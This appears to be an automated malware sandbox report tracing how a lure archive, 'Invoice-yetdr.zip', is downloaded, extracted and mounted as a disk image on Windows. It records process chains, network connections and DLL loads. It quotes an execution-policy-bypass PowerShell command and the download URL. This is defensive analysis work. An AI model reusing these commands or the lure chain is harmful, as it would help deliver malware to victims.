Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59278
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59276
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.6:59278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59280 version: TLS 1.2

System Summary

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\Invoice-yetdr.zip (copy)

Jump to dropped file

Source: classification engine

Classification label: mal76.spre.expl.win@30/12@4/4

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\2c35d69c-d705-4f86-b110-3da1dc1c0d71.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2740:120:WilError_03

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File read: C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1936,i,14102734953510180185,6557037327749919800,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bnaminexg.com/Invoice-yetdr.zip"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Invoice-yetdr.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\vqyu22il.thm" "C:\Users\user\Downloads\Invoice-yetdr.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1936,i,14102734953510180185,6557037327749919800,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Invoice-yetdr.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\vqyu22il.thm" "C:\Users\user\Downloads\Invoice-yetdr.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
